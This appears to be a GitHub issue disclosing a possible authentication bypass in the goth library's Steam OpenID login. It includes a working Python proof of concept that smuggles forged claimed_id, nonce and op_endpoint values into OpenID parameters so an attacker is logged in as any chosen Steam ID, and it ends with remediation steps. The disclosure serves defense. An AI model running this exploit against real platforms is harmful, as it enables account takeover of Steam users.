Skip to content

Potential vulnerability in Steam authentication #595

@malsatin

Description

@malsatin

Hi!

We recently received a bug report about an exploit in the default OpenID authentication flow through Steam.
We don't use goth directly of indirectly and didn't try to reproduce the issue using the library, but after checking its source code I've noticed, that goth may be susceptible to this kind of attack.

Below is the reproduction code of the attack:

## INSTRUCTIONS ##

# 1. Edit the TARGET_VICTIM_STEAMID to select a steam64id of your choice
# 2. Run the python script
# 3. When asked for the Steam Login URL, enter the url that your platform sends users to in order to auth (should be a steamcommunity.com/openid/login url)
# 4. When asked to intercept the response, you must do so when steam is redirecting the user back to your platform. It is advised to use a tool such as Burp Community Edition in order to achieve this.
# 5. After following all the steps, your platform should log the user in as the TARGET_VICTIM_STEAMID

## CONSTANTS (EDIT THESE) ##

TARGET_VICTIM_STEAMID = "00000000000000000"

## POC (DON'T TOUCH THIS) ##

from datetime import datetime, timezone
import random
import string
from urllib.parse import urlparse, parse_qs, parse_qsl, quote, urlunparse, urlencode

FAKE_NONCE_TIME = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
FAKE_NONCE_STRING = ''.join(random.choices(string.ascii_letters + string.digits, k=27)) + "="
FAKE_NONCE = FAKE_NONCE_TIME + FAKE_NONCE_STRING


def run():
    originalRawURL = input("Enter Steam Login URL: ")
    originalQueryParams = parse_qs(urlparse(originalRawURL).query)

    returnURL = originalQueryParams['openid.return_to'][0]

    spoofedBottomSection = f"""test
claimed_id:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
identity:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
return_to:{returnURL}
response_nonce:{FAKE_NONCE}
assoc_handle:1234567890
invalidate_handle:test"""

    originalSpoofedURL = originalRawURL + f"&openid.assoc_handle={quote(spoofedBottomSection)}"

    print(
        f"\nEnter the following link into your browser and log in. Intercept the response before it reaches the target return-to endpoint:\n{originalSpoofedURL}")
    callbackRawURL = input("\nEnter the response from steam: ")
    callbackParsedURL = urlparse(callbackRawURL)
    callbackQueryParams = parse_qs(callbackParsedURL.query)

    attacker_claimedid = callbackQueryParams['openid.claimed_id'][0]
    real_nonce = callbackQueryParams['openid.response_nonce'][0]

    spoofedTopSection = f"""https://steamcommunity.com/openid/login
claimed_id:{attacker_claimedid}
identity:{attacker_claimedid}
return_to:{returnURL}
response_nonce:{real_nonce}
assoc_handle:1234567890
invalidate_handle:test"""

    callbackQueryParams['openid.claimed_id'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
    callbackQueryParams['openid.identity'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
    callbackQueryParams['openid.response_nonce'][0] = FAKE_NONCE
    callbackQueryParams['openid.invalidate_handle'][0] = "test"
    callbackQueryParams['openid.op_endpoint'][0] = spoofedTopSection

    query_dict = {}
    for key, value in callbackQueryParams.items():
        query_dict[key] = value[0]

    callbackSpoofedURL = urlunparse((
        callbackParsedURL.scheme,
        callbackParsedURL.netloc,
        callbackParsedURL.path,
        callbackParsedURL.params,
        urlencode(query_dict, doseq=True),
        callbackParsedURL.fragment
    ))

    print(f"\nFINALISED SPOOFED URL:\n{callbackSpoofedURL}")


if __name__ == "__main__":
    run()

Remediations:

  • In order to fix this vulnerability, your library must ensure that the openid.op_endpoint parameter returned by Steam is equal to https://steamcommunity.com/openid/login
  • (Optionally) Restrict the openid.invalidate_handle parameter from Steam, as it is never sent in the normal flow.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions